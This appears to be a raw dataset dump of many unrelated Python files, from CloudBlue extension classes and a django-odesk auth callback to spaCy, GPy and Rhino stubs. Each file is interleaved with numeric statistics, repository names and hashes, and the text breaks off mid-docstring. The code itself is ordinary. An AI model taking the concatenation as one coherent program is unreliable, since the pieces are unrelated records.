# # This file is part of the Ingram Micro CloudBlue Connect EaaS Extension Runner. # # Copyright (c) 2021 Ingram Micro. All Rights Reserved. # import json import pkg_resources from connect.eaas.dataclasses import ResultType class _Response: def __init__(self, status): self.status = status class ProcessingResponse(_Response): def __init__(self, status, countdown=30, output=None): super().__init__(status) self.countdown = 30 if countdown < 30 else countdown self.output = output @classmethod def done(cls): return cls(ResultType.SUCCESS) @classmethod def skip(cls, output=None): return cls(ResultType.SKIP, output=output) @classmethod def reschedule(cls, countdown=30): return cls(ResultType.RESCHEDULE, countdown=countdown) @classmethod def slow_process_reschedule(cls, countdown=300): return cls( ResultType.RESCHEDULE, countdown=300 if countdown < 300 else countdown, ) @classmethod def fail(cls, output=None): return cls(ResultType.FAIL, output=output) class ValidationResponse(_Response): def __init__(self, status, data, output=None): super().__init__(status) self.data = data self.output = output @classmethod def done(cls, data): return cls(ResultType.SUCCESS, data) @classmethod def fail(cls, data=None, output=None): return cls(ResultType.FAIL, data=data, output=output) class _InteractiveTaskResponse(_Response): def __init__(self, status, http_status, headers, body, output): super().__init__(status) self.http_status = http_status self.headers = headers self.body = body self.output = output @property def data(self): return { 'http_status': self.http_status, 'headers': self.headers, 'body': self.body, } @classmethod def done(cls, http_status=200, headers=None, body=None): return cls(ResultType.SUCCESS, http_status, headers, body, None) @classmethod def fail(cls, http_status=400, headers=None, body=None, output=None): return cls(ResultType.FAIL, http_status, headers, body, output) class CustomEventResponse(_InteractiveTaskResponse): pass class ProductActionResponse(_InteractiveTaskResponse): pass class ScheduledExecutionResponse(_Response): def __init__(self, status, output=None): super().__init__(status) self.output = output @classmethod def done(cls): return cls(ResultType.SUCCESS) @classmethod def fail(cls, output=None): return cls(ResultType.FAIL, output=output) class Extension: def __init__(self, client, logger, config): self.client = client self.logger = logger self.config = config @classmethod def get_descriptor(cls): # pragma: no cover return json.load( pkg_resources.resource_stream( cls.__module__, 'extension.json', ), ) def process_asset_purchase_request(self, request): # pragma: no cover raise NotImplementedError() def process_asset_change_request(self, request): # pragma: no cover raise NotImplementedError() def process_asset_suspend_request(self, request): # pragma: no cover raise NotImplementedError() def process_asset_resume_request(self, request): # pragma: no cover raise NotImplementedError() def process_asset_cancel_request(self, request): # pragma: no cover raise NotImplementedError() def process_asset_adjustment_request(self, request): # pragma: no cover raise NotImplementedError() def validate_asset_purchase_request(self, request): # pragma: no cover raise NotImplementedError() def validate_asset_change_request(self, request): # pragma: no cover raise NotImplementedError() def process_tier_config_setup_request(self, request): # pragma: no cover raise NotImplementedError() def process_tier_config_change_request(self, request): # pragma: no cover raise NotImplementedError() def process_tier_config_adjustment_request(self, request): # pragma: no cover raise NotImplementedError() def validate_tier_config_setup_request(self, request): # pragma: no cover raise NotImplementedError() def validate_tier_config_change_request(self, request): # pragma: no cover raise NotImplementedError() def execute_product_action(self, request): # pragma: no cover raise NotImplementedError() def process_product_custom_event(self, request): # pragma: no cover raise NotImplementedError() def process_new_listing_request(self, request): # pragma: no cover raise NotImplementedError() def process_remove_listing_request(self, request): # pragma: no cover raise NotImplementedError() def process_tier_account_update_request(self, request): # pragma: no cover raise NotImplementedError() def process_usage_file(self, request): # pragma: no cover raise NotImplementedError() def process_usage_chunk_file(self, request): # pragma: no cover raise NotImplementedError()
28.752688
82
0.680441
584
5,348
6.006849
0.172945
0.047891
0.077822
0.108324
0.632269
0.559578
0.526796
0.495154
0.47919
0.446123
0
0.006605
0.235602
5,348
185
83
28.908108
0.851517
0.091436
0
0.393701
0
0
0.00745
0
0
0
0
0
0
1
0.307087
false
0.015748
0.023622
0.102362
0.496063
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
0
0
0
2
98cebd1857b8b0e07f4dfa19a068d91fa7a54035
374
py
Python
tests/test_screener.py
ericwbzhang/yahooquery
a30cc310bf5eb4b5ce5eadeafe51d589995ea9fd
[ "MIT" ]
417
2019-12-20T05:19:29.000Z
2022-03-31T16:15:54.000Z
tests/test_screener.py
ericwbzhang/yahooquery
a30cc310bf5eb4b5ce5eadeafe51d589995ea9fd
[ "MIT" ]
93
2020-01-09T03:23:58.000Z
2022-03-27T05:02:15.000Z
tests/test_screener.py
ericwbzhang/yahooquery
a30cc310bf5eb4b5ce5eadeafe51d589995ea9fd
[ "MIT" ]
89
2020-03-23T02:18:30.000Z
2022-03-07T21:58:14.000Z
import pytest from yahooquery import Screener def test_screener(): s = Screener() assert s.get_screeners("most_actives") is not None def test_available_screeners(): s = Screener() assert s.available_screeners is not None def test_bad_screener(): with pytest.raises(ValueError): s = Screener() assert s.get_screeners("most_active")
18.7
54
0.703209
49
374
5.163265
0.44898
0.083004
0.177866
0.189723
0.379447
0.252964
0.252964
0
0
0
0
0
0.208556
374
19
55
19.684211
0.85473
0
0
0.25
0
0
0.061497
0
0
0
0
0
0.25
1
0.25
false
0
0.166667
0
0.416667
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
2
98d38374272bc72a12de43609ee82724a2b600a0
128
py
Python
python_100/Level1/30.set_use.py
relax-space/python-cy
eaf4650756e7ece5ec97894b65a7495b5c964eb3
[ "Apache-2.0" ]
1
2020-04-27T03:31:23.000Z
2020-04-27T03:31:23.000Z
python_100/Level1/30.set_use.py
relax-space/python-cy
eaf4650756e7ece5ec97894b65a7495b5c964eb3
[ "Apache-2.0" ]
1
2020-04-14T23:55:19.000Z
2020-04-15T03:29:37.000Z
python_100/Level1/30.set_use.py
relax-space/python-cy
eaf4650756e7ece5ec97894b65a7495b5c964eb3
[ "Apache-2.0" ]
null
null
null
# 30.python代码实现删除一个list里面的重复元素 a = [1,2,3,4,5,6,5,4,3,2,0] b = list(set(a)) print(b) # 或者可以考虑创建一个新的 空列表,然后遍历原列表,不在新列表中的进行append
21.333333
42
0.710938
24
128
3.791667
0.75
0
0
0
0
0
0
0
0
0
0
0.112069
0.09375
128
6
42
21.333333
0.672414
0.539063
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0
0
0
0.333333
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
98da3ca6e4d6c98538d484778108b91496caf3be
2,556
py
Python
django_odesk/auth/views.py
solex/django-odesk
c545e320d3cab51b7c81121234ebd62918eec0ac
[ "BSD-3-Clause" ]
null
null
null
django_odesk/auth/views.py
solex/django-odesk
c545e320d3cab51b7c81121234ebd62918eec0ac
[ "BSD-3-Clause" ]
1
2020-02-21T16:05:04.000Z
2020-02-21T16:05:04.000Z
django_odesk/auth/views.py
solex/django-odesk
c545e320d3cab51b7c81121234ebd62918eec0ac
[ "BSD-3-Clause" ]
1
2019-09-01T09:25:16.000Z
2019-09-01T09:25:16.000Z
import logging import datetime from django.http import HttpResponseRedirect from django.contrib.auth import authenticate as django_authenticate from django.contrib.auth import login, REDIRECT_FIELD_NAME from django_odesk.core.clients import DefaultClient from django_odesk.auth import ODESK_REDIRECT_SESSION_KEY, \ ODESK_TOKEN_SESSION_KEY, \ ENCRYPTION_KEY_NAME from django_odesk.conf import settings from encrypt import encrypt_token def authenticate(request): redirect_to = request.REQUEST.get(REDIRECT_FIELD_NAME, '') request.session[ODESK_REDIRECT_SESSION_KEY] = redirect_to odesk_client = DefaultClient() return HttpResponseRedirect(odesk_client.auth.auth_url()) def callback(request, redirect_url=None): odesk_client = DefaultClient() frob = request.GET.get('frob', None) if frob: try: token, auth_user = odesk_client.auth.get_token(frob) except Exception, exc: msg = "get_token(%(frob)r) failed with %(exc)s" % { 'frob': frob, 'exc': exc, 'req': request, } logging.error(msg) return HttpResponseRedirect(redirect_url or '/') if not settings.ODESK_AUTH_ONLY: if settings.ODESK_ENCRYPT_API_TOKEN: encryption_key, encrypted_token = encrypt_token(token) put_in_session = encrypted_token else: put_in_session = token request.session[ODESK_TOKEN_SESSION_KEY] = put_in_session #TODO: Get rid of (conceptually correct) additional request to odesk.com user = django_authenticate(token = token) if user: login(request, user) else: pass #Probably the odesk auth backend is missing. Should we raise an error? redirect_url = request.session.pop(ODESK_REDIRECT_SESSION_KEY, redirect_url) response = HttpResponseRedirect(redirect_url or '/') if not settings.ODESK_AUTH_ONLY and settings.ODESK_ENCRYPT_API_TOKEN: expires = datetime.timedelta(hours = 2) + datetime.datetime.utcnow() # this is for Django 1.3 # string conversion for django 1.2 somehow doesn't work either, so I use max_age response.set_cookie(ENCRYPTION_KEY_NAME, encryption_key, expires = expires, max_age = 60*60*2) return response else: return HttpResponseRedirect(odesk_client.auth.auth_url())
41.901639
106
0.656103
299
2,556
5.374582
0.337793
0.037337
0.028002
0.042937
0.240199
0.133167
0.133167
0.073429
0.073429
0.073429
0
0.005391
0.274257
2,556
60
107
42.6
0.860916
0.094679
0
0.137255
0
0
0.02382
0
0
0
0
0.016667
0
0
null
null
0.019608
0.176471
null
null
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
1
0
0
0
0
0
0
0
0
2
98e08f2b7673c3df79e57cd8d8106c9bcb338cb4
314
py
Python
mess/funcs.py
alexandershov/mess
7b0d956c1fd39cca2e4adcd5dc35952ec3ed3fd5
[ "MIT" ]
null
null
null
mess/funcs.py
alexandershov/mess
7b0d956c1fd39cca2e4adcd5dc35952ec3ed3fd5
[ "MIT" ]
null
null
null
mess/funcs.py
alexandershov/mess
7b0d956c1fd39cca2e4adcd5dc35952ec3ed3fd5
[ "MIT" ]
null
null
null
import operator # TODO: allow to pass extra args: e.g call.count.args('a') class _Call(object): def __getattr__(self, method_name): """ Return a callable object that calls the specified method name on its operand. """ return operator.methodcaller(method_name) call = _Call()
24.153846
85
0.665605
42
314
4.785714
0.714286
0.149254
0
0
0
0
0
0
0
0
0
0
0.238854
314
13
86
24.153846
0.841004
0.429936
0
0
0
0
0
0
0
0
0
0.076923
0
1
0.2
false
0
0.2
0
0.8
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
1
0
0
2
98e7886c9db47902d44f403f461cb4396a518864
460
py
Python
spaCY_examples/entity_recognition.py
mark-watson/cognitive-computing-book
d097e049a8ce6392dd338f88d48b5d07e26f1489
[ "Apache-2.0" ]
10
2016-05-14T21:58:21.000Z
2021-05-27T17:55:52.000Z
spaCY_examples/entity_recognition.py
mark-watson/cognitive-computing-book
d097e049a8ce6392dd338f88d48b5d07e26f1489
[ "Apache-2.0" ]
null
null
null
spaCY_examples/entity_recognition.py
mark-watson/cognitive-computing-book
d097e049a8ce6392dd338f88d48b5d07e26f1489
[ "Apache-2.0" ]
5
2017-11-02T00:34:38.000Z
2021-06-01T10:50:27.000Z
import spacy nlp = spacy.load('en') doc = nlp(u'President Trump has a dispute with Mexico over immigration. IBM and Apple are cooperating on marketing in 2014. Pepsi and Coke sell well to Asian and South American customers. He bought a Ford Escort for $20,000 and drove to the lake for the weekend. The parade was last Saturday.') for entity in doc.ents: print("label: {}\tlabel_: {}\ttext: {}".format( entity.label,entity.label_,entity.text))
65.714286
294
0.730435
75
460
4.453333
0.76
0.065868
0.101796
0
0
0
0
0
0
0
0
0.023747
0.176087
460
6
295
76.666667
0.85752
0
0
0
0
0.166667
0.680435
0
0
0
0
0
0
1
0
false
0
0.166667
0
0.166667
0.166667
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
98f134deb05bf88654d179028ccf44b60c37fa62
1,232
py
Python
libactors/actor/messages.py
DanielSolomon/libactors
b4e7147ccb3cee2e52bac7cefc65a51a549d5dd7
[ "MIT" ]
1
2021-10-03T19:33:33.000Z
2021-10-03T19:33:33.000Z
libactors/actor/messages.py
DanielSolomon/libactors
b4e7147ccb3cee2e52bac7cefc65a51a549d5dd7
[ "MIT" ]
null
null
null
libactors/actor/messages.py
DanielSolomon/libactors
b4e7147ccb3cee2e52bac7cefc65a51a549d5dd7
[ "MIT" ]
null
null
null
import dataclasses from typing import Any from ..message import ( Message, ) @dataclasses.dataclass(frozen=True) class ActletDoneMessage(Message): """Framework-level message sent internally when Actlet execution ends """ result: Any @dataclasses.dataclass(frozen=True) class TimerConfiguration(Message): """Timer configuration. Args: message (libactors.Message): Message to send when time is up. interval (float): Timer countdown interval in seconds. delay (float): Timer delay before starting first countdown in seconds. now (bool): Whether or not send `message` before starting countdown. repetitions (int): How many cycles of the timer (0 represents infinite). """ message: Message interval: float delay: float now: bool repetitions: int @dataclasses.dataclass(frozen=True) class TimerDoneMessage(Message): """In case that the timer was configured with finite repetitions. This message will be sent to the created actor, indicating the timer has finished its job. """ pass @dataclasses.dataclass(frozen=True) class ShutdownMessage(Message): """Shutdown message to request an actor to turn off. """ pass
26.212766
94
0.707792
147
1,232
5.931973
0.530612
0.091743
0.119266
0.137615
0.16055
0
0
0
0
0
0
0.00103
0.211851
1,232
46
95
26.782609
0.897013
0.534091
0
0.285714
0
0
0
0
0
0
0
0
0
1
0
true
0.095238
0.142857
0
0.619048
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
1
0
0
0
0
0
2
98f1f23e9a762f6c92869b93dada4592ac5e358a
149
py
Python
src/py/util/nth.py
cgnik/euler
fe70459a0e0d0272980300a4782872f2e545fea5
[ "MIT" ]
null
null
null
src/py/util/nth.py
cgnik/euler
fe70459a0e0d0272980300a4782872f2e545fea5
[ "MIT" ]
null
null
null
src/py/util/nth.py
cgnik/euler
fe70459a0e0d0272980300a4782872f2e545fea5
[ "MIT" ]
null
null
null
def nth(test, items): if test > 0: test -= 1 else: test = 0 for i, v in enumerate(items): if i == test: return v
18.625
33
0.47651
23
149
3.086957
0.608696
0.197183
0
0
0
0
0
0
0
0
0
0.034091
0.409396
149
7
34
21.285714
0.772727
0
0
0
0
0
0
0
0
0
0
0
0
1
0.142857
false
0
0
0
0.142857
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
98f30ebf87d5c5691a0defa8d25f27381495a27d
1,321
py
Python
tests/experimental_tests/links_tests/model_tests/pspnet_tests/test_convolution_crop.py
souravsingh/chainercv
8f76510472bc95018c183e72f37bc6c34a89969c
[ "MIT" ]
1,600
2017-06-01T15:37:52.000Z
2022-03-09T08:39:09.000Z
tests/experimental_tests/links_tests/model_tests/pspnet_tests/test_convolution_crop.py
souravsingh/chainercv
8f76510472bc95018c183e72f37bc6c34a89969c
[ "MIT" ]
547
2017-06-01T06:43:16.000Z
2021-05-28T17:14:05.000Z
tests/experimental_tests/links_tests/model_tests/pspnet_tests/test_convolution_crop.py
souravsingh/chainercv
8f76510472bc95018c183e72f37bc6c34a89969c
[ "MIT" ]
376
2017-06-02T01:29:10.000Z
2022-03-13T11:19:59.000Z
import numpy as np import unittest from chainer import testing from chainercv.experimental.links.model.pspnet import convolution_crop class TestConvolutionCrop(unittest.TestCase): def test_convolution_crop(self): size = (8, 6) stride = (8, 6) n_channel = 3 img = np.random.uniform(size=(n_channel, 16, 12)).astype(np.float32) crop_imgs, param = convolution_crop( img, size, stride, return_param=True) self.assertEqual(crop_imgs.shape, (4, n_channel) + size) self.assertEqual(crop_imgs.dtype, np.float32) for y in range(2): for x in range(2): self.assertEqual(param['y_slices'][2 * y + x].start, 8 * y) self.assertEqual( param['y_slices'][2 * y + x].stop, 8 * (y + 1)) self.assertEqual(param['x_slices'][2 * y + x].start, 6 * x) self.assertEqual( param['x_slices'][2 * y + x].stop, 6 * (x + 1)) for i in range(4): self.assertEqual(param['crop_y_slices'][i].start, 0) self.assertEqual(param['crop_y_slices'][i].stop, 8) self.assertEqual(param['crop_x_slices'][i].start, 0) self.assertEqual(param['crop_x_slices'][i].stop, 6) testing.run_module(__name__, __file__)
36.694444
76
0.588191
178
1,321
4.185393
0.331461
0.201342
0.214765
0.048322
0.373154
0.348993
0.348993
0.260403
0
0
0
0.032529
0.278577
1,321
35
77
37.742857
0.749213
0
0
0.071429
0
0
0.063588
0
0
0
0
0
0.357143
1
0.035714
false
0
0.142857
0
0.214286
0
0
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
98f8d3b0b34f59c641d19c37d7c30c9f634f2000
2,102
py
Python
PyStationB/libraries/ABEX/abex/gpy/priors.py
BrunoKM/station-b-libraries
ea3591837e4a33f0bef789d905467754c27913b3
[ "MIT" ]
6
2021-09-29T15:46:55.000Z
2021-12-14T18:39:51.000Z
PyStationB/libraries/ABEX/abex/gpy/priors.py
BrunoKM/station-b-libraries
ea3591837e4a33f0bef789d905467754c27913b3
[ "MIT" ]
null
null
null
PyStationB/libraries/ABEX/abex/gpy/priors.py
BrunoKM/station-b-libraries
ea3591837e4a33f0bef789d905467754c27913b3
[ "MIT" ]
3
2021-09-27T10:35:20.000Z
2021-10-02T17:53:07.000Z
# ------------------------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License (MIT). See LICENSE in the repo root for license information. # ------------------------------------------------------------------------------------------- """Extensions of the priors specified in GPy""" from typing import Sequence, Union import GPy.core.parameterization.priors as priors import numpy as np from psbutils.arrayshapes import Shapes class InverseGamma(priors.Gamma): # pragma: no cover """ Implementation of the inverse-Gamma probability function, coupled with random variables. This is a fix for the GPy.priors.InverseGamma implementation, which doesn't work since 2016: https://github.com/SheffieldML/GPy/issues/502 :param a: shape parameter :param b: rate parameter (warning: it's the *inverse* of the scale) .. Note:: Bishop 2006 notation is used throughout the code """ domain = priors._POSITIVE def __init__(self, a, b): self._a = float(a) self._b = float(b) self.constant = -priors.gammaln(self.a) + a * np.log(b) def __str__(self): """Return a string description of the prior.""" return "iGa({:.2g}, {:.2g})".format(self.a, self.b) def lnpdf(self, x: np.ndarray) -> np.ndarray: """Return the log probability density function evaluated at x.""" return Shapes(x, "X")(self.constant - (self.a + 1) * np.log(x) - self.b / x, "X")[-1] # type: ignore # auto def lnpdf_grad(self, x: np.ndarray) -> np.ndarray: """Return the gradient of the log probability density function evaluated at x.""" return Shapes(x, "X")(-(self.a + 1.0) / x + self.b / x ** 2, "X")[-1] # type: ignore # auto def rvs(self, n: Union[int, Sequence[int], np.ndarray]) -> np.ndarray: """Return samples from this prior of shape n.""" result = Shapes(1.0 / np.random.gamma(scale=1.0 / self.b, shape=self.a, size=n), f"{n}")[-1] return result # type: ignore # auto
43.791667
116
0.592769
282
2,102
4.375887
0.425532
0.028363
0.026742
0.04376
0.200162
0.180713
0.149919
0.149919
0.100486
0.100486
0
0.01421
0.19648
2,102
47
117
44.723404
0.7164
0.501427
0
0
0
0
0.026612
0
0
0
0
0
0
1
0.263158
false
0
0.210526
0
0.789474
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
98fa52edadc2babf106b7224c5ba7e835ffc6d6d
302
py
Python
gallery/admin.py
OjureFred/WebView-Gallery
7e08ffc02a3d6ae173b651997db882a6a44db713
[ "MIT" ]
null
null
null
gallery/admin.py
OjureFred/WebView-Gallery
7e08ffc02a3d6ae173b651997db882a6a44db713
[ "MIT" ]
7
2021-03-30T14:13:40.000Z
2021-09-22T19:33:23.000Z
gallery/admin.py
OjureFred/WebView-Gallery
7e08ffc02a3d6ae173b651997db882a6a44db713
[ "MIT" ]
null
null
null
from django.contrib import admin from .models import Gallery, Location, categories # Register your models here. class GalleryAdmin(admin.ModelAdmin): filter_horizontal = ('categories',) admin.site.register(Gallery, GalleryAdmin) admin.site.register(Location) admin.site.register(categories)
25.166667
49
0.788079
35
302
6.771429
0.514286
0.113924
0.21519
0
0
0
0
0
0
0
0
0
0.115894
302
11
50
27.454545
0.88764
0.086093
0
0
0
0
0.036496
0
0
0
0
0
0
1
0
false
0
0.285714
0
0.571429
0
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
2
c70f42303c894e415686dec261653e184b61ace7
2,108
py
Python
jsonlog_cli/colours.py
borntyping/legere
df26b01bb922b88c6674299ffe5ce62df226bddd
[ "MIT" ]
1
2019-09-25T07:59:39.000Z
2019-09-25T07:59:39.000Z
jsonlog_cli/colours.py
borntyping/legere
df26b01bb922b88c6674299ffe5ce62df226bddd
[ "MIT" ]
3
2020-03-24T17:28:20.000Z
2020-10-01T09:40:26.000Z
jsonlog_cli/colours.py
borntyping/jsonlog-cli
df26b01bb922b88c6674299ffe5ce62df226bddd
[ "MIT" ]
null
null
null
from __future__ import annotations import collections import dataclasses import typing import click from jsonlog_cli.record import RecordValue K = typing.TypeVar("K") V = typing.TypeVar("V") @dataclasses.dataclass() class Alias(typing.Generic[K]): name: K class AliasedDict(collections.UserDict, typing.Mapping[K, V]): def __getitem__(self, item: K) -> V: value = super().__getitem__(item) if isinstance(value, Alias): return self._get_alias(item, value) return value def _get_alias(self, original: K, alias: Alias[K]) -> V: value = self.__getitem__(alias.name) if isinstance(value, Alias): raise Exception(f"Aliased key {original!r} points to alias {value!r}") return value @dataclasses.dataclass() class Colour: fg: typing.Optional[str] = None bold: typing.Optional[bool] = None def __bool__(self) -> bool: return bool(self.fg) def style(self, text: str) -> str: return click.style(text, fg=self.fg, bold=self.bold) if self else text ColorMapDefinition = typing.Mapping[RecordValue, typing.Union[Alias, Colour]] @dataclasses.dataclass() class ColourMap: mapping: typing.Mapping[RecordValue, Colour] def __init__(self, mapping: ColorMapDefinition) -> None: self.mapping = AliasedDict({self.normalise(k): v for k, v in mapping.items()}) @classmethod def empty(cls) -> ColourMap: return cls({}) @classmethod def default(cls) -> ColourMap: return cls( { "info": Colour(fg="cyan"), "warning": Colour(fg="yellow"), "warn": Alias("warning"), "error": Colour(fg="red"), "critical": Colour(fg="red", bold=True), "fatal": Alias("critical"), } ) def get(self, item: RecordValue) -> Colour: return self.mapping.get(self.normalise(item), Colour()) @staticmethod def normalise(value: RecordValue) -> RecordValue: return value.casefold() if isinstance(value, str) else value
25.39759
86
0.62334
243
2,108
5.288066
0.312757
0.009339
0.058366
0.034241
0
0
0
0
0
0
0
0
0.25
2,108
82
87
25.707317
0.812777
0
0
0.160714
0
0
0.055028
0
0
0
0
0
0
1
0.160714
false
0
0.107143
0.107143
0.571429
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
1
1
0
0
2
c71c0ecbc7b812fba9210d33941da55f4100fab8
390
py
Python
faver_site/faver_app/migrations/0004_remove_faveruser_password.py
Zylphrex/friendly-octo-meme
526763473b6d89f613d9f58232cf937f336f269d
[ "MIT" ]
null
null
null
faver_site/faver_app/migrations/0004_remove_faveruser_password.py
Zylphrex/friendly-octo-meme
526763473b6d89f613d9f58232cf937f336f269d
[ "MIT" ]
null
null
null
faver_site/faver_app/migrations/0004_remove_faveruser_password.py
Zylphrex/friendly-octo-meme
526763473b6d89f613d9f58232cf937f336f269d
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # Generated by Django 1.10.4 on 2017-01-22 00:23 from __future__ import unicode_literals from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('faver_app', '0003_contract'), ] operations = [ migrations.RemoveField( model_name='faveruser', name='password', ), ]
19.5
48
0.610256
42
390
5.47619
0.833333
0
0
0
0
0
0
0
0
0
0
0.073944
0.271795
390
19
49
20.526316
0.735915
0.174359
0
0
1
0
0.122257
0
0
0
0
0
0
1
0
false
0.083333
0.166667
0
0.416667
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
2
c71cb94612c01fad654373c0dc003f9cb4a8651c
325
py
Python
run_api.py
JyLIU-emma/Projet_flask_RESTful_API_final
a5b7afc217f75df1db01b492bc06260970dedde6
[ "CC0-1.0" ]
null
null
null
run_api.py
JyLIU-emma/Projet_flask_RESTful_API_final
a5b7afc217f75df1db01b492bc06260970dedde6
[ "CC0-1.0" ]
null
null
null
run_api.py
JyLIU-emma/Projet_flask_RESTful_API_final
a5b7afc217f75df1db01b492bc06260970dedde6
[ "CC0-1.0" ]
1
2021-07-09T18:30:47.000Z
2021-07-09T18:30:47.000Z
from flask import Flask from werkzeug.middleware.dispatcher import DispatcherMiddleware from backend.api_sep import app as back # from frontend.app import app as front back if __name__=='__main__': back.run(host='0.0.0.0', port=5000, use_evalex=True, use_reloader=True, use_debugger=True)
27.083333
64
0.716923
47
325
4.702128
0.595745
0.027149
0.099548
0
0
0
0
0
0
0
0
0.030769
0.2
325
12
65
27.083333
0.819231
0.113846
0
0
0
0
0.054348
0
0
0
0
0
0
1
0
true
0
0.428571
0
0.428571
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
2
c722d6d57b73a8c5f5e0b71951c86a933bb6a3ea
714
py
Python
spark_auto_mapper_fhir/value_sets/document_section_type.py
imranq2/SparkAutoMapper.FHIR
dd23b218fb0097d1edc2f3e688e8d6d4d7278bd2
[ "Apache-2.0" ]
1
2020-10-31T23:25:07.000Z
2020-10-31T23:25:07.000Z
spark_auto_mapper_fhir/value_sets/document_section_type.py
icanbwell/SparkAutoMapper.FHIR
98f368e781b46523142c7cb513c670d659a93c9b
[ "Apache-2.0" ]
null
null
null
spark_auto_mapper_fhir/value_sets/document_section_type.py
icanbwell/SparkAutoMapper.FHIR
98f368e781b46523142c7cb513c670d659a93c9b
[ "Apache-2.0" ]
null
null
null
from __future__ import annotations from spark_auto_mapper_fhir.value_sets.generic_type import GenericTypeCode from spark_auto_mapper.type_definitions.defined_types import AutoMapperTextInputType # This file is auto-generated by generate_classes so do not edit manually # noinspection PyPep8Naming class DocumentSectionType(GenericTypeCode): """ v3.DocumentSectionType From: http://terminology.hl7.org/ValueSet/v3-DocumentSectionType in v3-codesystems.xml The type of document section. Possible values: review of systems, medical history, family history, microscopic findings, etc. """ def __init__(self, value: AutoMapperTextInputType): super().__init__(value=value)
35.7
90
0.788515
83
714
6.518072
0.722892
0.033272
0.048059
0.07024
0
0
0
0
0
0
0
0.00821
0.147059
714
19
91
37.578947
0.880131
0.47619
0
0
0
0
0
0
0
0
0
0
0
1
0.166667
false
0
0.5
0
0.833333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
c724cdb5aa54906a87530e152d215a9600d1b5c6
285
py
Python
icbd/compiler/tests/94.py
kmod/icbd
9636564eb3993afa07c6220d589bbd1991923d74
[ "MIT" ]
7
2015-04-06T15:17:13.000Z
2020-10-21T04:57:00.000Z
icbd/compiler/tests/94.py
kmod/icbd
9636564eb3993afa07c6220d589bbd1991923d74
[ "MIT" ]
null
null
null
icbd/compiler/tests/94.py
kmod/icbd
9636564eb3993afa07c6220d589bbd1991923d74
[ "MIT" ]
4
2016-05-16T17:53:08.000Z
2020-11-28T17:18:50.000Z
""" collections.deque """ def main(): from collections import deque d = deque() for i in xrange(25): d.append(i) print list(d) print d.popleft() print list(d) d.appendleft(55) for i in xrange(5): print d.pop() print list(d) main()
15
33
0.557895
42
285
3.785714
0.47619
0.169811
0.188679
0.150943
0
0
0
0
0
0
0
0.025253
0.305263
285
18
34
15.833333
0.777778
0
0
0.230769
0
0
0
0
0
0
0
0
0
0
null
null
0
0.076923
null
null
0.384615
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
2
c74d5a905b8d49d334ec0bcb1796557201f713b1
4,445
py
Python
release/stubs.min/Rhino/Geometry/__init___parts/Vector2d.py
YKato521/ironpython-stubs
b1f7c580de48528490b3ee5791b04898be95a9ae
[ "MIT" ]
null
null
null
release/stubs.min/Rhino/Geometry/__init___parts/Vector2d.py
YKato521/ironpython-stubs
b1f7c580de48528490b3ee5791b04898be95a9ae
[ "MIT" ]
null
null
null
release/stubs.min/Rhino/Geometry/__init___parts/Vector2d.py
YKato521/ironpython-stubs
b1f7c580de48528490b3ee5791b04898be95a9ae
[ "MIT" ]
null
null
null
class Vector2d( object, ISerializable, IEquatable[Vector2d], IComparable[Vector2d], IComparable, IEpsilonComparable[Vector2d], ): """ Represents the two components of a vector in two-dimensional space, using System.Double-precision floating point numbers. Vector2d(x: float,y: float) """ def CompareTo(self, other): """ CompareTo(self: Vector2d,other: Vector2d) -> int Compares this Rhino.Geometry.Vector2d with another Rhino.Geometry.Vector2d. Components evaluation priority is first X,then Y. other: The other Rhino.Geometry.Vector2d to use in comparison. Returns: 0: if this is identical to other-1: if this.X < other.X-1: if this.X == other.X and this.Y < other.Y+1: otherwise. """ pass def EpsilonEquals(self, other, epsilon): """ EpsilonEquals(self: Vector2d,other: Vector2d,epsilon: float) -> bool Check that all values in other are within epsilon of the values in this """ pass def Equals(self, *__args): """ Equals(self: Vector2d,vector: Vector2d) -> bool Determines whether the specified vector has the same value as the present vector. vector: The specified vector. 